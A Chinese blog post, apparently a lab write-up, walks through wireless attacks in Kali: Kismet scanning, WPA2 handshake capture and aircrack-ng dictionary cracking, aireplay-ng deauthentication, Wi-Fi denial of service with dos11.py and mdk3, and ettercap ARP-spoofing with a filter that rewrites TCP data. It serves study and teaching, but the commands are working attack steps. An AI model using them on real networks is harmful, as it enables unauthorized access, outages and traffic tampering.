概要
上周应前辈邀请在闲余时间和队友mklkx一块复现了无线安全相关的几个科目,综合实验下来,发现目前无线安全的检测和破解,主要还是依靠当前的Kali-Linux配套工具进行操作,不过操作其中也存在不少的坑点,这里尽量把实验操作和出现坑点的位置都总结清楚,方便对无线安全感兴趣的师傅们研究。所以文章的篇幅会比较长。以下所有实验均使用Kali虚拟机实现,仅用于技术分享讨论。
目前来说,无线安全主要还是针对于WIFI、内网的ARP进行攻击和操作,这里总结了几个较为实用的实验和工具。
实验预备
设备 | 用途 |
---|---|
无线网卡 | 监听无线数据等 |
Kali虚拟机 | 具体的实验操作 |
AP | 作为无线实验的靶机等 |
kismet监测无线网络
当攻击者在准备对假设的WIFI进行具体攻击和分析时,一般都需要获取到WIFI的BSSID等基础信息,那么除了我们使用常规的airodump去获取基本信息,也可以借助专业的无线嗅探工具进行操作——Kismet,在最初的版本是shell命令行版本的,虽然已经具备了高亮显示等功能,但是观感依然不是太强,不过在Kali2019版本中,Kismet已经拥有了专业的WEB端,不过国内分享的相关教程还是以传统的shell端为主,这里记录一下WEB端的相关操作。
首先连接无线网卡之后,打开无线网卡的监听模式
airmon-ng start wlan0
当wlan0mon的Mode出现Monitor状态时,证明开启成功,下面开启Kismet工具,这里直接在命令行输入kismet即可,输入之后弹出如下内容
提示我们在本地的2501端口开启了服务,我们可以访问该地址进行后续的操作,在初次进行访问时,需要我们进行一下用户信息的配置,相关的鉴权配置和用户名密码在设置好之后,默认配置目录存放在
/root/.kismet
当忘记具体的配置信息时可以在该目录下进行查看和修改
登陆之后访问页面,我们需要再开启一下要监听的网口,在页面右上角处Data Sources进行开启
点击wlan0mon
选择打开按钮之后,即可开始监听,此时可对设备附近WIFI进行监听和分析
我们可以在此处进行简单的channel配置等
同时在右上角的Settings处进行其他WIFI参数显示和高亮配置
此时可以在主页查看附近探测到的WIFI基础信息
在附近WIFI比较繁多的情况下,在Devices处进行过滤
如果需要查看具体的WIFI信息,点击指定的WIFI名称
此时可以在该页面查看该WIFI的具体BSSID和channel,在WIFI处我们可以查看连接该WIFI设备的基础信息
在Packet Graphs处可以查看最近时间的流量波动情况
在主界面下方的Messages会实时展示监听到的数据,同时在Channels处可以显示相关图标数据
同时支持筛选功能,不过在使用Kismet要注意,在使用Kismet之后,无线网卡会出现监听问题,不能和其他实验同时执行,所以在使用Kismet之后,尽量重启相关设备,避免造成后续实验的失败
aircrack-ng破解WPA2密钥
这个实验还是比较有实操性的,这里的大概思路和Burp爆破HTTP登陆报文一样,我们通过开启网卡的监听模式,监听具体的WIFI信号相关数据,然后通过截取其他设备链接WIFI的报文,从而获取到相关登陆鉴权操作的加密数据,再通过密钥枚举的方式,破解WIFI密码
连接无线网卡,查看相关基础信息
ifconfig
存在wlan0网口证明无线网卡连接成功,打开无线网卡的监听模式
airmon-ng start wlan0
显示为监听模式,开启成功,下面查看一下附近的WIFI,获取我们要爆破的WIFI的基础信息
airodump-ng wlan0mon
查看到我们用自己手机开启的名为huawei的无线网络名称及WIFI的bssid,开启监听
airodump-ng --bssid E2:20:27:C6:2E:99 -c 1 -w 123 wlan0mon
这里稍微详细的介绍一下这几个参数,bssid就是设备的信息,-c是设备所处的channel,我们同样可以在airodump的数据中查看,CH列即为该WIFI所在的channel,-w是讲我们截取的报文信息输出的文件名称,当我们停止监听时,就会在当面目录下生成相关的cap及其他文件,最后的wlan0mon就是我们的使用的网卡
执行抓包命令之后,我们可以使用新的设备连接需要爆破的WIFI,使得我们的网卡能够抓取到连接的报文信息
当抓取页面右上角出现WPA handshake信号时,证明我们成功抓到了设备连接WIFI的握手包,下面可以停止监听,并对握手包进行爆破
如果我们在真实条件下长时间抓不到设备连接WIFI的报文时,我们还可以通过aireplay或者mdk3进行dos攻击,强迫设备断开,再次进行连接并抓包,这里演示一下相关的强制重连操作,首先是aireplay
aireplay强制设备下线,这里需要选择指定下线的设备,这个设备的BSSID我们可以在airodump监测时发现,也可以在监听WIFI时查看,比如在上面的截图STATION处即为连接huaweiWIFI的设备信息
aireplay-ng -0 1000 -a E2:20:27:C6:2E:99 -c 9C:5A:81:71:15:B7 wlan0mon
# -0 1000 指攻击包为1000
# -a 为WIFI的BSSID即MAC地址
# -c 为强制重连设备的MAC地址
攻击操作如下:
之后也可以监听到设备连接WIFI时的报文,之后我们就可以对截取的报文进行暴力枚举的操作
aircrack-ng -w <指定字典路径> <握手包路径>
例:aircrack-ng -w pass.txt 123.cap
当出现下面页面时,证明爆破成功
该WIFI的密码为ylb123123123
WIFI钓鱼实验
这个实验其实本质上不止是一个简单的钓鱼WIFI,还涉及到钓鱼网站的搭建以及DNS劫持的综合实验,这个实验其实已经在我之前博客网络安全宣传周演示:钓鱼WIFI+钓鱼网站+DNS劫持组合拳实现用户信息窃取里面详细介绍过了,这里直接把相关内容转移过来了
WIFI拒绝服务攻击实验
WIFI的拒绝服务攻击和传统的DDOS攻击所用原理其实相仿,都是利用短时间大批量的流量进行攻击,与传统DDOS的泛洪攻击大批量僵尸主机访问站点堵塞网站相似,WIFI的拒绝服务攻击,常常是伪造大量连接认证的方式实施DOS攻击,具体的攻击工具可以选用网上开源的攻击脚本,或mdk3等工具实施操作
这里以网上开源脚本为例
首先开启wlan的监听模式
airmon-ng start wlan0
之后使用我们kismet获取到的信息,选择需要爆破的指定WIFI
选用攻击脚本
https://github.com/qq906907952/dos11
不同攻击方式:
deauthentication attack # 解认证攻击
./dos11.py deauth --client-mac FF:FF:FF:FF:FF:FF --ap-ssid wifi-ssid --ap-bssid 01:02:03:04:05:06 -i wlan0
disassociation attack #解连接
./dos11.py disas --client-mac FF:FF:FF:FF:FF:FF --ap-ssid wifi-ssid --ap-bssid 01:02:03:04:05:06 -i wlan0
channel switch announcement #信道切换攻击
./dos11.py csa --client-mac FF:FF:FF:FF:FF:FF --ap-ssid wifi-ssid --ap-bssid 01:02:03:04:05:06 -i wlan0 --switch-channel 1 --cap 65535
fake auth 假认证攻击
./dos11.py fake_auth --client-mac FF:FF:FF:FF:FF:FF --ap-ssid wifi-ssid --ap-bssid 01:02:03:04:05:06 -i wlan0 --auth-algorithm 1 --interval 0
delete block ack (maybe not work)
./dos11.py delba --client-mac FF:FF:FF:FF:FF:FF --ap-ssid wifi-ssid --ap-bssid 01:02:03:04:05:06 -i wlan0
这里我们选择第一种攻击方式进行操作
./dos11.py deauth --client-mac FF:FF:FF:FF:FF:FF --ap-ssid wifi-ssid --ap-bssid 20:DC:E6:D4:E9:50 -i wlan0mon
执行
发现脚本已经伪造大量的数据包去访问我们要攻击的AP设备,访问一下AP的网络配置页面
发现加载速度变得非常缓慢
加载之后,发现网络配置页面发生瘫痪,证明DOS攻击成功,这里也分享一下使用mdk3进行dos攻击的操作,其原理是伪造大量的虚假连接设备,大批量连接我们指定的AP设备,从而达到瘫痪服务的目的,这里由于设备没在身边,就不再演示该工具
mdk3 waln1mon a -a 00:00:00:00:00:00
ARP欺骗中间人攻击实验
这个实验主要是由mklkx做的,因为单位的电脑同时跑不动三台虚拟机,就让她来实操了,这个实验主要是依赖ettercap工具做的,虽然Kali里面有很多ARP欺骗的工具,但是根据W22老哥给我的力荐,说这个工具做ARP相关的实验时,特别的方便,用了一下果不其然。
首先打开工具,输入命令,会弹出ettercap的图形化页面,同时会将嗅探过程中产生的数据保存为指定的dara.cap文件
ettercap -G -w dara.cap
选择菜单栏Sniff,以Unified sniffing模式开启嗅探,选中当前使用的网卡,点击OK进入嗅探:
嗅探开始后以此操作:Hosts->Hosts list & Scan for hosts
此时工具会对我们内网的存活主机进行扫描,扫描结束后会列出当前局域网下所有的IP和MAC地址,我们选择131和129这两台设备进行ARP欺骗的实验
下面我们复现一下ARP欺骗的操作,ARP欺骗的主要原理可以在网上去搜索专业的解释。
我这里用较为浅显的语言解释一下我个人的理解,在内网环境下,设备的通讯主要依靠广播地址也发送,而发送的收件人是以设备的MAC地址为准,相关的IP与MAC地址的对应关系均保存在设备的ARP缓存表中,而中间人欺骗其实就是我们通过工具或其他操作,将所要发送信息的设备ARP缓存表进行更新,将自己的MAC地址与收件人的MAC地址在发送信息的设备缓存表中变换为一样的;从而导致发送信息的设备在进行信息发送的过程中根据收件人的MAC地址进行发送时,讲信息发送到了我们伪造的设备上。
操作流程:
选择添加目标1“Add to Target 1”;再选择第二个,添加目标2“Add to Target 2”。
选择菜单栏下Mitm -> ARP poisoning 开启基于ARP的中间人攻击:
假设我们所要欺骗的主机IP为131,所要伪造的MAC地址的主机IP为129,我们执行ARP欺骗的设备IP为128,此时在131的设备上输入命令查看ARP缓存表
arp -a
发现在IP为131的设备的ARP表中我们的攻击设备138的MAC地址和129设备的MAC地址变为一样的操作,证明我们的ARP欺骗成功,下面我们进一步的演示ARP欺骗的危害之一——中间人攻击
首先我们尝试在没有中间人攻击的情况下,131设备和129设备通讯的结果
129作为接收方,我们监听一下12345端口
nc -lvvp 12345
131作为发送方
nc 192.168.107.129 12345
在131处发送数据:
在129处成功接收到数据
证明正常通讯无误,下面执行一下中间人攻击的过程,首先编写替换的脚本
if (ip.proto == TCP && tcp.dst == 12345) {
if (search(DATA.data, "Hello world")) {
replace("Hello world", "Guess Guess"); # note: replacement string is same length as orig$
msg("getit\n");
}
}
# 这里要注意的问题,所要替换的语句长度要有原语句长度一致,否则会出现执行错误等问题
整个逻辑非常的简单,大致就是监测TCP端口12345,当我们发现传输的数据中探测到了指定的字符串,就将指定的字符串替换成我们自己构造的字符串,同时在命令行端输出getit信号,证明替换成功,将我们构造的代码命名为filter.txt,编译为组件:
etterfilter filter.txt -o filter.ef
回到攻击ettercap,进行导入
Filters->Load a filter
将我们的ef文件进行导入操作,之后重新开启我们的ARP欺骗
Mitm->ARP poisoning->Sniff remote connectiongs
此时,我们再次在发送数据处进行输入字符串
在监听数据出查看
发现数据已经被我们替换为二次构造的字符串,达到了中间人攻击的目的,证明实验成功
W22 says:
卓哥哥tql
Pdsdt says:
W22——IOTの神